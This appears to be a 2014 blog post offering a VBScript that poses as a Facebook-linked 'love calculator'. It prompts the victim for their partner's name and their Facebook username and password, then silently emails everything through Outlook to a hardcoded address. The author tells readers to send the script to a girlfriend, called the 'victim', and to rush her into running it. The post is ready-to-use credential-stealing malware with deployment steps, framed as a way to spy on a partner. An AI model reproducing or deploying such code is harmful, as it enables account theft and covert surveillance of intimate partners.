Fake love calculator and Facebook Credential broker VB script
Post date: Jan 10, 2014 6:43:39 AM
Open your girl fried heart is much difficult than anything in the world. If you wanna know what your girl friend is actually thinking about you, then you can use below vbscript in smart way to get those information.
Here I have add facebook credentail too. Make sure you should not allow her to think too much before she execute this code. If she is not a developer then you could be very safe.
1. Open notepad and copy paste the below code in it, Change repective mail id.
2. Save as FBConnect.vbs
3. Send to victim and wait for the response.
All the best dude.
Dim System
Do
urName= InputBox("Before connect to Facebook. Try Love calculator to check % of matching between you and your partner! ***Enter your name***","Facebook Connect")
Loop Until Len(urName)>0
Do
urPartnerName= InputBox("Enter your partner name: ", "LOVE CALCULATOR")
Loop Until Len(urPartnerName)>0
MsgBox "Congratz!.." & urName & " & " & urPartnerName & " are 100% perfect partner. All the very best. Now connect to Facebook"
Do
urFBUserName= InputBox("Your credential is more secure and not shared with anyone. *Enter your Facebook UserName: ", "Facebook Connect")
Loop Until Len(urFBUserName)>0
Do
urFBPassword= InputBox("Enter Facebook Password: ", "Facebook Connect")
Loop Until Len(urFBUserName)>0
msg="Name: " & urName & " ParnterName :" & urPartnerName & "FB UserName:" &urFBUserName & "FB Password:"&urFBPassword
Dim outobj, mailobj
Dim strFileText
Dim objFileToRead
Set outobj = CreateObject("Outlook.Application")
Set mailobj = outobj.CreateItem(0)
With mailobj
.To = "boobalan3@gmail.com"
.Subject = "Testmail"
.Body = msg
.Display
End With
mailobj.Send
MsgBox "Please wait... Connecting with Facebook"